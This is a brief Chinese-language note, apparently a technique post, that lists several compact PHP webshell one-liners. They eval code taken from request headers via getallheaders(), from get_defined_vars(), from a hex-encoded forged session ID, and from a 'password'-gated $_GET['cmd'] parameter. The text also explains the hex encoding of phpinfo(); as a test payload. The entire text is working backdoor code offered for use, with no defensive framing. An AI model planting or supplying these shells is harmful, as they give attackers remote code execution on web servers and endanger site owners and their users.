通过get_defined_vars()、getallheaders()这两个函数来构造我们的webshell。

apache环境

<?php



eval(next(getallheaders())); 



?>

apache和nginx环境通用

<?php



eval(implode(reset(get_defined_vars())));



?>

另外一种通过执行伪造的sessionid值，进行任意代码执行。

<?php



eval(hex2bin(session_id(session_start())));



?>

706870696e666f28293b这个是phpinfo();的hex编码。

给shell加密码

<?php eval(get_defined_vars()['_GET']['cmd']);?>